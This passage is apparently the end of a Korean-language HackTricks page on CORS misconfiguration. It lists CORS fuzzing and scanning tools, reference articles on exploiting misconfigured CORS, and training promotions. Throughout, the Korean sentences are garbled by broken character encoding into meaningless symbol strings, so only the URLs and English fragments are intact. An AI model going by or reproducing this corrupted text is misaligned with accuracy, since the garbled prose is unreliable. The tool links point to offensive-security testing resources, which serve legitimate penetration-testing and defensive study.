- Host ํค๋ ๊ฒ์ฆ
- https://wicg.github.io/private-network-access/: ๊ณต๊ฐ ์๋ฒ๊ฐ ๋ด๋ถ ์๋ฒ์ ์ ๊ทผํ ๋ ํญ์ pre-flight ์์ฒญ์ ์ ์กํ๋๋ก ํ๋ ์ ์
๋๊ตฌ
CORS ์ ์ฑ ์ ๊ฐ๋ฅํ ์๋ชป๋ ๊ตฌ์ฑ๋ค์ ํผ์ฆ(Fuzz)ํ์ธ์
- https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8
- https://github.com/chenjj/CORScanner
- https://github.com/lc/theftfuzzer
- https://github.com/s0md3v/Corsy
- https://github.com/Shivangx01b/CorsMe
- https://github.com/omranisecurity/CorsOne
References
- https://portswigger.net/web-security/cors
- https://portswigger.net/web-security/cors/access-control-allow-origin
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS
- https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
- https://www.codecademy.com/articles/what-is-cors
- https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors
- https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration
- https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b
- NCC Group - Impact of DNS over HTTPS (DoH) on DNS Rebinding Attacks
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


